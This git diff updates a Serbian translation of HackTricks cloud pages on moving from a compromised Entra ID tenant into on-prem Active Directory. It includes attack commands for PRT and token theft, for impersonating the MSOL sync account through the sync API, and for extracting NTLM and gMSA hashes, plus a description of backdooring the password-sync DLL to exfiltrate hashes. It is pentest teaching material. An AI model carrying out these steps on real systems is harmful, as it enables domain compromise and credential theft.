mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -12,15 +12,15 @@ Ovaj deo pokriva tehnike pivotiranja za prelazak iz kompromitovanog Entra ID ten
|
||||
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Kako pivotirati iz Entra ID u AD kada je Cloud Kerberos Trust konfigurisan. Globalni administrator u Entra ID (Azure AD) može zloupotrebiti Cloud Kerberos Trust i sync API da impersonira AD račune sa visokim privilegijama, dobije njihove Kerberos karte ili NTLM hešove, i potpuno kompromituje lokalni Active Directory—čak i ako ti računi nikada nisu bili sinhronizovani sa cloud-om—efikasno premošćujući cloud-to-AD eskalaciju privilegija.
|
||||
|
||||
- [**Cloud Sync**](az-cloud-sync.md): Kako zloupotrebiti Cloud Sync da se pređe iz cloud-a u lokalni AD i obrnuto.
|
||||
- [**Cloud Sync**](az-cloud-sync.md): Kako zloupotrebiti Cloud Sync da se pređe iz clouda u lokalni AD i obrnuto.
|
||||
|
||||
- [**Connect Sync**](az-connect-sync.md): Kako zloupotrebiti Connect Sync da se pređe iz cloud-a u lokalni AD i obrnuto.
|
||||
- [**Connect Sync**](az-connect-sync.md): Kako zloupotrebiti Connect Sync da se pređe iz clouda u lokalni AD i obrnuto.
|
||||
|
||||
- [**Domain Services**](az-domain-services.md): Šta je Azure Domain Services servis i kako pivotirati iz Entra ID u AD koji generiše.
|
||||
|
||||
- [**Federation**](az-federation.md): Kako zloupotrebiti Federation da se pređe iz cloud-a u lokalni AD i obrnuto.
|
||||
- [**Federation**](az-federation.md): Kako zloupotrebiti Federation da se pređe iz clouda u lokalni AD i obrnuto.
|
||||
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Različiti napadi koji se mogu koristiti za pivotiranje iz cloud-a u lokalni AD i obrnuto.
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Različiti napadi koji se mogu koristiti za pivotiranje iz clouda u lokalni AD i obrnuto.
|
||||
|
||||
- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Gde pronaći kredencijale za cloud kada je PC kompromitovan.
|
||||
|
||||
@@ -30,10 +30,10 @@ Ovaj deo pokriva tehnike pivotiranja za prelazak iz kompromitovanog Entra ID ten
|
||||
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Šta je PRT, kako ga ukrasti i koristiti za pristup Azure resursima impersonirajući korisnika.
|
||||
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Kako zloupotrebiti Pass-through Authentication da se pređe iz cloud-a u lokalni AD i obrnuto.
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Kako zloupotrebiti Pass-through Authentication da se pređe iz clouda u lokalni AD i obrnuto.
|
||||
|
||||
- [**Seamless SSO**](az-seamless-sso.md): Kako zloupotrebiti Seamless SSO da se pređe iz lokalnog u cloud.
|
||||
|
||||
- **Drugi način za pivotiranje iz cloud-a u lokalni je** [**zloupotreba Intune**](../az-services/intune.md)
|
||||
- **Drugi način za pivotiranje iz clouda u lokalno je** [**zloupotreba Intune**](../az-services/intune.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
### Identifikacija problema
|
||||
|
||||
Azure Arc omogućava integraciju novih internih servera (servera pridruženih domenu) u Azure Arc koristeći metodu Group Policy Object. Da bi to olakšao, Microsoft pruža alat za implementaciju potreban za pokretanje procedure onboardinga. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1.
|
||||
Azure Arc omogućava integraciju novih internih servera (pridruženih domena) u Azure Arc koristeći metodu Group Policy Object. Da bi se to olakšalo, Microsoft pruža alat za implementaciju potreban za pokretanje procedure onboardinga. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1.
|
||||
|
||||
Kada se izvrši, DeployGPO.ps1 skripta obavlja sledeće radnje:
|
||||
|
||||
1. Kreira Azure Arc Servers Onboarding GPO unutar lokalnog domena.
|
||||
2. Kopira EnableAzureArc.ps1 skriptu za onboarding na određeni mrežni deo kreiran za proces onboardinga, koji takođe sadrži Windows instalacioni paket.
|
||||
|
||||
Kada se pokreće ova skripta, sys administratori treba da obezbede dva glavna parametra: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Pored toga, potrebni su i drugi parametri kao što su domen, FQDN servera koji hostuje share, i naziv share-a. Dodatne informacije kao što su tenant ID, resource group, i druge neophodne informacije takođe moraju biti obezbeđene skripti.
|
||||
Kada se pokreće ova skripta, sys admini treba da obezbede dva glavna parametra: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Pored toga, potrebni su i drugi parametri kao što su domen, FQDN servera koji hostuje share, i naziv share-a. Dodatne informacije kao što su tenant ID, resource group, i druge neophodne informacije takođe moraju biti obezbeđene skripti.
|
||||
|
||||
Enkriptovana tajna se generiše u AzureArcDeploy direktorijumu na određenom share-u koristeći DPAPI-NG enkripciju. Enkriptovana tajna se čuva u datoteci pod nazivom encryptedServicePrincipalSecret. Dokazi o ovome mogu se naći u DeployGPO.ps1 skripti, gde se enkripcija vrši pozivanjem ProtectBase64 sa $descriptor i $ServicePrincipalSecret kao ulazima. Deskriptor se sastoji od SID-ova grupe Domain Computer i Domain Controller, osiguravajući da se ServicePrincipalSecret može dekriptovati samo od strane grupe sigurnosti Domain Controllers i Domain Computers, kako je navedeno u komentarima skripte.
|
||||
```bash
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Cloud Kerberos Trust
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ovaj post je sažetak** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **koji se može proveriti za dodatne informacije o napadu. Ova tehnika je takođe komentarisana u** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
|
||||
@@ -18,35 +18,35 @@
|
||||
|
||||
- Napadač ima **Global Admin (ili Hybrid Identity Admin)** prava u Entra ID tenant-u (ove uloge mogu koristiti AD Connect **synchronization API** za modifikaciju Azure AD korisnika).
|
||||
|
||||
- Bar jedan **hibridni korisnički nalog** (postoji u AD i AAD) na koji se napadač može autentifikovati. Ovo se može dobiti poznavanjem ili resetovanjem njegovih akreditiva ili dodeljivanjem metode bez lozinke (npr. Temporary Access Pass) za generisanje Primary Refresh Token-a (PRT) za njega.
|
||||
- Bar jedan **hibridni korisnički nalog** (postoji u AD i AAD) na koji se napadač može autentifikovati. Ovo se može dobiti poznavanjem ili resetovanjem njegovih akreditiva ili dodeljivanjem metode bez lozinke (npr. Temporary Access Pass) za generisanje Primary Refresh Token (PRT) za njega.
|
||||
|
||||
- **On-prem AD ciljni nalog** sa visokim privilegijama koji *nije* u podrazumevanoj RODC "odbij" politici. U praksi, odličan cilj je **AD Connect sync nalog** (često nazvan **MSOL_***), koji ima DCSync (replikacija) prava u AD, ali obično nije član ugrađenih administrativnih grupa. Ovaj nalog obično nije sinhronizovan sa Entra ID, što omogućava njegovo SID da se imitira bez sukoba.
|
||||
- **On-prem AD ciljni nalog** sa visokim privilegijama koji *nije* u podrazumevanoj RODC "odbij" politici. U praksi, odličan cilj je **AD Connect sync nalog** (često nazvan **MSOL_***), koji ima DCSync (replikacija) prava u AD, ali obično nije član ugrađenih administrativnih grupa. Ovaj nalog obično nije sinhronizovan sa Entra ID, što omogućava njegov SID da se koristi za impersonaciju bez sukoba.
|
||||
|
||||
**Koraci napada:**
|
||||
|
||||
1. **Dobijanje Azure AD sync API pristupa:** Koristeći Global Admin nalog, steći pristupni token za Azure AD **Provisioning (sync) API**. Ovo se može uraditi pomoću alata kao što su **ROADtools** ili **AADInternals**. Na primer, sa ROADtools (roadtx):
|
||||
1. **Dobijanje Azure AD sync API pristupa:** Koristeći Global Admin nalog, pribaviti pristupni token za Azure AD **Provisioning (sync) API**. Ovo se može uraditi pomoću alata kao što su **ROADtools** ili **AADInternals**. Na primer, sa ROADtools (roadtx):
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(Alternativno, AADInternals' `Connect-AADInt` može se koristiti za autentifikaciju kao Global Admin.)*
|
||||
|
||||
2. **Izmenite On-Prem Atribute Hibridnog Korisnika:** Iskoristite Azure AD **synchronization API** da postavite odabrane atribute hibridnog korisnika **onPremises Security Identifier (SID)** i **onPremises SAMAccountName** da odgovaraju ciljanom AD nalogu. Ovo efikasno govori Azure AD-u da cloud korisnik odgovara on-prem nalogu koji želimo da imitiramo. Koristeći open-source **ROADtools Hybrid** alat:
|
||||
2. **Izmenite On-Prem Atribute Hibridnog Korisnika:** Iskoristite Azure AD **synchronization API** da postavite odabrane hibridne korisničke **onPremises Security Identifier (SID)** i **onPremises SAMAccountName** da odgovaraju ciljanom AD nalogu. Ovo efikasno govori Azure AD-u da cloud korisnik odgovara on-prem nalogu koji želimo da imitiramo. Koristeći open-source **ROADtools Hybrid** alat:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> `sourceAnchor` (nepromenljivi ID) korisnika je potreban za identifikaciju Azure AD objekta koji treba izmeniti. Alat postavlja SID i SAM naziv naloga hibridnog korisnika na vrednosti cilja (npr., SID i SAM naloga MSOL_xxxx). Azure AD obično ne dozvoljava promenu ovih atributa putem Graph-a (oni su samo za čitanje), ali API usluge sinhronizacije to omogućava i Global Admini mogu aktivirati ovu funkcionalnost sinhronizacije.
|
||||
> `sourceAnchor` (nepromenljivi ID) korisnika je potreban za identifikaciju Azure AD objekta koji treba izmeniti. Alat postavlja SID i SAM naziv naloga hibridnog korisnika na vrednosti cilja (npr., SID i SAM naloga MSOL_xxxx). Azure AD obično ne dozvoljava promenu ovih atributa putem Graph-a (oni su samo za čitanje), ali API usluge sinhronizacije to omogućava i Global Admini mogu da pozovu ovu funkcionalnost sinhronizacije.
|
||||
|
||||
3. **Dobijanje delimičnog TGT-a iz Azure AD:** Nakon izmene, autentifikujte se kao hibridni korisnik u Azure AD (na primer, dobijanjem PRT-a na uređaju ili korišćenjem njihovih akreditiva). Kada se korisnik prijavi (posebno na uređaju koji je pridružen domeni ili Entra), Azure AD će izdati **delimični Kerberos TGT (TGT**<sub>**AD**</sub>) za taj nalog jer je Cloud Kerberos Trust omogućen. Ovaj delimični TGT je enkriptovan sa AzureADKerberos$ RODC ključem i uključuje **ciljni SID** koji smo postavili. Možemo simulirati ovo traženjem PRT-a za korisnika putem ROADtools:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
Ovo generiše `.prt` datoteku koja sadrži delimični TGT i sesijski ključ. Ako je nalog bio samo za cloud lozinku, Azure AD i dalje uključuje TGT_AD u PRT odgovoru.
|
||||
Ovo generiše `.prt` datoteku koja sadrži delimični TGT i sesijski ključ. Ako je nalog bio samo za cloud, Azure AD i dalje uključuje TGT_AD u PRT odgovoru.
|
||||
|
||||
4. **Zamena delimičnog TGT za puni TGT (na AD-u):** Delimični TGT se sada može predstaviti lokalnom kontroloru domena da bi se dobio **puni TGT** za ciljni nalog. To radimo tako što izvršavamo TGS zahtev za `krbtgt` servis (primarni TGT servis domena) -- suštinski unapređujući tiket u normalan TGT sa punim PAC-om. Alati su dostupni za automatizaciju ove razmene. Na primer, koristeći skriptu ROADtools Hybrid:
|
||||
4. **Zamena delimičnog TGT-a za puni TGT (na AD-u):** Delimični TGT se sada može predstaviti lokalnom kontroloru domena da bi se dobio **puni TGT** za ciljni nalog. To radimo tako što izvršavamo TGS zahtev za `krbtgt` servis (primarni TGT servis domena) -- suštinski unapređujući tiket u normalan TGT sa punim PAC-om. Alati su dostupni za automatizaciju ove razmene. Na primer, koristeći skriptu ROADtools Hybrid:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
@@ -63,7 +63,7 @@ Ovo izbacuje sve AD korisničke heš vrednosti lozinki, dajući napadaču KRBTGT
|
||||
6. **Čišćenje:** Opcionalno, napadač može vratiti izmenjeni Azure AD korisnički `onPremisesSAMAccountName` i SID putem istog API-ja ili jednostavno obrisati bilo kog privremenog korisnika koji je kreiran. U mnogim slučajevima, sledeći Azure AD Connect sinhronizacijski ciklus automatski će vratiti neovlašćene promene na sinhronizovanim atributima. (Međutim, do tog trenutka šteta je učinjena -- napadač ima DA privilegije.)
|
||||
|
||||
> [!WARNING]
|
||||
> Zloupotrebom mehanizma poverenja i sinhronizacije u oblaku, Global Admin Azure AD može da imituje gotovo *bilo* koji AD nalog koji nije eksplicitno zaštićen RODC politikom, čak i ako taj nalog nikada nije bio sinhronizovan u oblaku. U podrazumevanoj konfiguraciji, ovo **uspostavlja potpuno poverenje od kompromitovanja Azure AD do kompromitovanja on-prem AD**.
|
||||
> Zloupotrebom mehanizma poverenja i sinhronizacije u oblaku, Global Admin Azure AD može imitirati gotovo *bilo koji* AD nalog koji nije eksplicitno zaštićen RODC politikom, čak i ako taj nalog nikada nije bio sinhronizovan u oblaku. U podrazumevanoj konfiguraciji, ovo **uspostavlja potpuno poverenje od kompromitovanja Azure AD do kompromitovanja on-prem AD**.
|
||||
|
||||
|
||||
## References
|
||||
@@ -72,4 +72,4 @@ Ovo izbacuje sve AD korisničke heš vrednosti lozinki, dajući napadaču KRBTGT
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
@@ -22,7 +22,7 @@ Da bi ovo funkcionisalo, neki principi se kreiraju u Entra ID i On-Premise direk
|
||||
- U AD, ili se kreira Service Account **`provAgentgMSA`** sa SamAcountName kao **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ili prilagođeni sa [**ovim dozvolama je potreban**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Obično se kreira podrazumevani.
|
||||
|
||||
> [!WARNING]
|
||||
> Pored drugih dozvola, Service Account **`provAgentgMSA`** ima DCSync dozvole, omogućavajući **bilo kome ko ga kompromituje da kompromituje ceo direktorijum**. Za više informacija o [DCSync proverite ovo](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
> Pored drugih dozvola, Service Account **`provAgentgMSA`** ima DCSync dozvole, omogućavajući **bilo kome ko ga kompromituje da kompromituje celu direktoriju**. Za više informacija o [DCSync proverite ovo](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` na 1 nisu sinhronizovani** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su dodeljeni visoke privilegije direktno **mogu biti sinhronizovani**.
|
||||
@@ -35,7 +35,7 @@ Odeljak je vrlo sličan onom iz:
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Sinhronizacija heša lozinke** može biti omogućena tako da korisnici mogu **prijaviti se u Entra ID koristeći svoje lozinke iz AD**. Štaviše, kada god se lozinka izmeni u AD, biće ažurirana u Entra ID.
|
||||
- **Sinhronizacija heš lozinki** može biti omogućena tako da korisnici mogu **prijaviti se u Entra ID koristeći svoje lozinke iz AD**. Štaviše, kada god se lozinka izmeni u AD, biće ažurirana u Entra ID.
|
||||
- **Pisanje lozinke** takođe može biti omogućeno, omogućavajući korisnicima da modifikuju svoju lozinku u Entra ID automatski sinhronizujući svoju lozinku u on-premise domenu. Ali prema [trenutnim dokumentima](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), za ovo je potrebno koristiti Connect Agent, pa pogledajte [Az Connect Sync odeljak](./az-connect-sync.md) za više informacija.
|
||||
- **Pisanje grupa**: Ova funkcija omogućava članstvima grupa iz Entra ID da se sinhronizuju nazad u on-premises AD. To znači da ako je korisnik dodat u grupu u Entra ID, takođe će biti dodat u odgovarajuću grupu u AD.
|
||||
|
||||
@@ -72,7 +72,7 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Sada možete koristiti hash gMSA da izvršite Pass-the-Hash napad protiv Entra ID koristeći `provAgentgMSA` nalog i održite postojanost, što vam omogućava da izvršite DCSync napade protiv AD-a.
|
||||
Sada možete koristiti hash gMSA da izvršite Pass-the-Hash napad protiv Entra ID koristeći `provAgentgMSA` nalog i održavate postojanost, što vam omogućava da izvršite DCSync napade protiv AD-a.
|
||||
|
||||
Za više informacija o tome kako kompromitovati Active Directory, pogledajte:
|
||||
|
||||
@@ -87,7 +87,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Što se tiče postojanosti, [ovaj blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugeriše da je moguće koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy) da se unese backdoor u dll **`Microsoft.Online.Passwordsynchronisation.dll`** koji se nalazi u **`C:\Program Files\Microsoft Azure AD Sync\Bin`** i koji koristi Cloud Sync agent za izvršavanje sinhronizacije lozinki, čineći da eksfiltrira hash lozinki korisnika koji se sinhronizuju na udaljeni server. Hash-ovi se generišu unutar klase **`PasswordHashGenerator`** i blog post sugeriše dodavanje nekog koda tako da klasa izgleda ovako (napomena na `use System.Net` i korišćenje `WebClient` za eksfiltraciju hash-ova lozinki):
|
||||
Što se tiče postojanosti, [ovaj blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugeriše da je moguće koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy) da se unazadi dll **`Microsoft.Online.Passwordsynchronisation.dll`** koji se nalazi u **`C:\Program Files\Microsoft Azure AD Sync\Bin`** i koji koristi Cloud Sync agent za izvršavanje sinhronizacije lozinki, čineći da eksfiltrira hash lozinki korisnika koji se sinhronizuju na udaljeni server. Hash-ovi se generišu unutar klase **`PasswordHashGenerator`** i blog post sugeriše dodavanje nekog koda tako da klasa izgleda ovako (napomena na `use System.Net` i korišćenje `WebClient` za eksfiltraciju hash lozinki):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -127,14 +127,14 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Ako je **Password Writeback** omogućen, mogli biste da modifikujete lozinku nekih korisnika iz Entra ID i ako imate pristup AD mreži, povežite se koristeći njih. Za više informacija pogledajte odeljak [Az Connect Sync section](./az-connect-sync.md) jer se writeback lozinke konfiguriše koristeći taj agent.
|
||||
- Ako je **Password Writeback** omogućen, mogli biste da modifikujete lozinku nekih korisnika iz Entra ID i ako imate pristup AD mreži, povežite se koristeći njih. Za više informacija pogledajte odeljak [Az Connect Sync section](./az-connect-sync.md) za više informacija jer se writeback lozinke konfiguriše koristeći taj agent.
|
||||
|
||||
- U ovom trenutku Cloud Sync takođe omogućava **"Microsoft Entra ID to AD"**, ali nakon previše vremena otkrio sam da NE MOŽE da sinhronizuje EntraID korisnike sa AD i da može samo da sinhronizuje korisnike iz EntraID koji su sinhronizovani sa hešom lozinke i dolaze iz domena koji pripada istom domen forestu kao domen na koji se sinhronizujemo, kao što možete pročitati na [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- U ovom trenutku Cloud Sync takođe omogućava **"Microsoft Entra ID to AD"**, ali nakon previše vremena otkrio sam da NE MOŽE da sinhronizuje EntraID korisnike sa AD i da može samo da sinhronizuje korisnike iz EntraID koji su sinhronizovani sa hešom lozinke i dolaze iz domena koji pripada istoj domena šumi kao domena kojoj se sinhronizujemo, kao što možete pročitati na [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Ove grupe mogu sadržati samo lokalno sinhronizovane korisnike i / ili dodatne sigurnosne grupe kreirane u oblaku.
|
||||
> - Lokalni korisnički nalozi koji su sinhronizovani i članovi ove sigurnosne grupe kreirane u oblaku, mogu biti iz istog domena ili između domena, ali svi moraju biti iz istog forest-a.
|
||||
> - Lokalni korisnički nalozi koji su sinhronizovani i članovi ove sigurnosne grupe kreirane u oblaku, mogu biti iz istog domena ili između domena, ali svi moraju biti iz iste šume.
|
||||
|
||||
Dakle, površina napada (i korisnost) ove usluge je značajno smanjena jer bi napadač morao da kompromituje inicijalni AD iz kojeg se korisnici sinhronizuju kako bi kompromitovao korisnika u drugom domenu (i oba moraju biti u istom forest-u očigledno).
|
||||
Dakle, površina napada (i korisnost) ove usluge je značajno smanjena jer bi napadač morao da kompromituje inicijalni AD iz kojeg se korisnici sinhronizuju kako bi kompromitovao korisnika u drugom domenu (i oba moraju biti u istoj šumi očigledno).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -148,4 +148,4 @@ az rest \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect sinhronizacione usluge (Microsoft Entra Connect Sync) su glavni komponenta Microsoft Entra Connect. Ona se brine o svim operacijama koje su povezane sa sinhronizacijom identitetskih podataka između vašeg lokalnog okruženja i Microsoft Entra ID.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect sinhronizacione usluge (Microsoft Entra Connect Sync) su glavni komponenta Microsoft Entra Connect. Ona se brine o svim operacijama koje se odnose na sinhronizaciju identitetskih podataka između vašeg lokalnog okruženja i Microsoft Entra ID.
|
||||
|
||||
Da biste je koristili, potrebno je instalirati **`Microsoft Entra Connect Sync`** agenta na serveru unutar vašeg AD okruženja. Ovaj agent će se brinuti o sinhronizaciji sa AD strane.
|
||||
|
||||
@@ -18,7 +18,7 @@ az-cloud-sync.md
|
||||
|
||||
### Generisani principi
|
||||
|
||||
- Nalog **`MSOL_<installationID>`** se automatski kreira u lokalnom AD-u. Ovaj nalog dobija ulogu **Directory Synchronization Accounts** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **replication (DCSync) dozvole u lokalnom AD-u**.
|
||||
- Nalog **`MSOL_<installationID>`** se automatski kreira u lokalnom AD-u. Ovaj nalog dobija ulogu **Directory Synchronization Accounts** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **repliciranje (DCSync) dozvole u lokalnom AD-u**.
|
||||
- To znači da svako ko kompromituje ovaj nalog može kompromitovati lokalnu domenu.
|
||||
- U lokalnom AD-u se kreira upravljani servisni nalog **`ADSyncMSA<id>`** bez posebnih podrazumevanih privilegija.
|
||||
- U Entra ID se kreira servisni princip **`ConnectSyncProvisioning_ConnectSync_<id>`** sa sertifikatom.
|
||||
@@ -27,13 +27,13 @@ az-cloud-sync.md
|
||||
|
||||
### Sinhronizacija hešova lozinki
|
||||
|
||||
Ova komponenta se takođe može koristiti za **sinhronizaciju lozinki iz AD u Entra ID** tako da korisnici mogu koristiti svoje AD lozinke za povezivanje sa Entra ID. Za to je potrebno omogućiti sinhronizaciju hešova lozinki u Microsoft Entra Connect Sync agentu instaliranom na AD serveru.
|
||||
Ova komponenta se takođe može koristiti za **sinhronizaciju lozinki iz AD u Entra ID** tako da korisnici mogu koristiti svoje AD lozinke za pristup Entra ID. Za to je potrebno omogućiti sinhronizaciju hešova lozinki u Microsoft Entra Connect Sync agentu instaliranom na AD serveru.
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sinhronizacija hešova lozinki** je jedna od metoda prijavljivanja koja se koristi za postizanje hibridnog identiteta. **Azure AD Connect** sinhronizuje heš, heša, lozinke korisnika iz lokalnog Active Directory instance u cloud-baziranu Azure AD instancu.
|
||||
|
||||
U suštini, svi **korisnici** i **heš hešova lozinki** se sinhronizuju iz lokalnog u Azure AD. Međutim, **lozinke u čistom tekstu** ili **originalni** **heševi** se ne šalju u Azure AD.
|
||||
U suštini, svi **korisnici** i **heš lozinki** se sinhronizuju iz lokalnog u Azure AD. Međutim, **lozinke u čistom tekstu** ili **originalni** **heševi** se ne šalju u Azure AD.
|
||||
|
||||
**Sinhronizacija hešova** se dešava svake **2 minuta**. Međutim, podrazumevano, **istek lozinke** i **istek naloga** se **ne sinhronizuju** u Azure AD. Tako da korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku.
|
||||
**Sinhronizacija heševa** se dešava svake **2 minuta**. Međutim, podrazumevano, **istek lozinke** i **istek naloga** se **ne sinhronizuju** u Azure AD. Tako da korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku.
|
||||
|
||||
Kada lokalni korisnik želi da pristupi Azure resursu, **autentifikacija se vrši na Azure AD**.
|
||||
|
||||
@@ -46,7 +46,7 @@ Ova konfiguracija omogućava **sinhronizaciju lozinki iz Entra ID u AD** kada ko
|
||||
|
||||
Ovo je posebno zanimljivo za kompromitovanje AD-a iz kompromitovanog Entra ID-a jer ćete moći da menjate lozinku "gotovo" bilo kog korisnika.
|
||||
|
||||
Administratori domena i drugi korisnici koji pripadaju nekim privilegovanim grupama se ne repliciraju ako grupa ima **`adminCount` atribut na 1**. Ali drugi korisnici koji su dodeljeni visoke privilegije unutar AD-a bez pripadnosti bilo kojoj od tih grupa mogli bi imati promenjenu lozinku. Na primer:
|
||||
Domain administratori i drugi korisnici koji pripadaju nekim privilegovanim grupama se ne repliciraju ako grupa ima **`adminCount` atribut na 1**. Ali drugi korisnici koji su dodeljeni visoke privilegije unutar AD-a bez pripadnosti bilo kojoj od tih grupa mogli bi imati promenjenu lozinku. Na primer:
|
||||
|
||||
- Korisnici dodeljeni visoke privilegije direktno.
|
||||
- Korisnici iz grupe **`DNSAdmins`**.
|
||||
@@ -128,7 +128,7 @@ Ova aplikacija je kreirana bez dodeljenih Entra ID ili Azure upravljačkih uloga
|
||||
Pominje se da se SP ove aplikacije još uvek može koristiti za obavljanje nekih privilegovanih radnji koristeći nedokumentovani API, ali do sada nije pronađen nijedan PoC.\
|
||||
U svakom slučaju, razmišljajući da bi to moglo biti moguće, bilo bi zanimljivo dalje istražiti kako pronaći sertifikat za prijavu kao ovaj servisni principal i pokušati da ga zloupotrebimo.
|
||||
|
||||
Ovaj [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) objavljen je ubrzo pre promene sa korišćenja korisnika `Sync_*` na ovaj servisni principal, objasnio je da je sertifikat bio smešten unutar servera i da je bilo moguće pronaći ga, generisati PoP (Proof of Possession) za njega i graf token, i sa ovim, biti u mogućnosti da doda novi sertifikat servisnom principalu (jer **servisni principal** uvek može dodeliti sebi nove sertifikate) i zatim ga koristiti za održavanje postojanosti kao SP.
|
||||
